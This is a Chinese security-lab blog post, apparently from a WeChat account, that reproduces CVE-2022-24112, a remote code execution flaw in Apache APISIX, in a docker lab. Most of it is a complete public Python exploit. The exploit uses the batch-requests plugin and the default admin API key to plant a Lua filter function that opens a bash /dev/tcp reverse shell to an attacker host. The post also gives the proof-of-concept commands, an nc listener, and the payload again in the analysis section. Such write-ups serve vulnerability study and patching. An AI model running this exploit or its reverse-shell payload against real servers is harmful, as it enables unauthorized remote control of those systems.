声明
以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
0x01 什么是Apache APISIX Dashboard
0x02 漏洞详情
漏洞编号:CVE-2022-24112
影响版本:Apache APISIX < 2.12.1
Apache APISIX < 2.10.4 (LTS versions)
漏洞类型: 命令执行
0x03 环境部署
git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务
curl
'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2022 15:49:17 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.12.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
{"count":0,"action":"get","node":{"key":"/apisix/routes","nodes":{},"dir":true}}
0x04 目标信息
0x05 漏洞利用
r.GET("/apisix/admin/migrate/export", h.ExportConfig)
r.POST("/apisix/admin/migrate/import", h.ImportConfig)
# Exploit Title:Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112
import requests
import sys
class color:
HEADER = ' 33[95m'
IMPORTANT = '33[35m'
NOTICE = ' 33[33m'
OKBLUE = ' 33[94m'
OKGREEN = ' 33[92m'
WARNING = ' 33[93m'
RED = ' 33[91m'
END = ' 33[0m'
UNDERLINE = ' 33[4m'
LOGGING = '33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
def banner():
run = color_random[6]+'''n . ,
_.._ * __*./ ___ _ ./._ | _ *-+-
(_][_)|_) |/' (/,/'[_)|(_)| |
| |
n'''
run2 = color_random[2]+'''tt(CVE-2022-24112)n'''
run3 = color_random[4]+'''{ Coded By: Ven3xy | Github:https://github.com/M4xSec/ }nn'''
print(run+run2+run3)
if (len(sys.argv) != 4):
banner()
print("[!] Usage : ./apisix-exploit.py <target_url><lhost> <lport>")
exit()
else:
banner()
target_url = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
headers1 = {
'Host': '127.0.0.1:8080',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Content-Length': '540',
'Connection': 'close',
}
headers2 = {
'Host': '127.0.0.1:8080',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Connection': 'close',
}
json_data = {
'headers': {
'X-Real-IP': '127.0.0.1',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Content-Type': 'application/json',
},
'timeout': 1500,
'pipeline': [
{
'path': '/apisix/admin/routes/index',
'method': 'PUT',
'body':'{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars)os.execute('bash -c \\\"0<&160-;exec160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&1602>&160\\\"'); return true end"}',
},
],
}
response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1,json=json_data, verify=False)
response2 = requests.get(target_url+'rms/fzxewh', headers=headers2,verify=False)
git clone https://github.com/twseptian/cve-2022-24112 ##获取POC
cd cve-2022-24112/poc/ ##进入相应目录
chmod +x poc2.py ##添权限
python3 poc2.py -t 127.0.0.1 -p 9080 -L 172.18.0.1 -P 60022
nc -lvnp 60022
0x06 漏洞分析
https://github.com/apache/apisix/pull/6254/commits/d4f0d6ac065e9282b2deca08073bceb62aa13b4a
https://github.com/apache/apisix/blob/ec0fc2ceaf04a20b0bd0ebdaad67296a1d3f621c/docs/zh/latest/plugins/batch-requests.md
{
"uri": "/rms/fzxewh",
"name": "wthtzv",
"filter_func": "function(vars) os.execute('bash -c\"0<&160-;exec 160<>/dev/tcp/172.18.0.1/60022;/bin/sh<&160 >&160 2>&160\"'); return true end",
"upstream": {
"nodes": {
"schmidt-schaefer.com": 1
},
"type": "roundrobin",
"hash_on": "vars",
"scheme": "http",
"pass_host": "pass"
},
"status": 1
}
function(vars) return vars[“arg_name”] == “json” end
0x07 总结
0x08 参考链接
-
https://github.com/apache/apisix-dashboard
-
https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112
-
https://www.o2oxy.cn/3945.html
-
https://zhuanlan.zhihu.com/p/451281323
-
https://www.exploit-db.com/exploits/50829
-
https://blog.csdn.net/weixin_47559704/article/details/122338456
-
https://www.bookstack.cn/read/apache-apisix-1.4-zh/33860207d6bb4917.md
-
https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq
-
https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff
-
https://blog.csdn.net/weixin_42353842/article/details/122943253
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论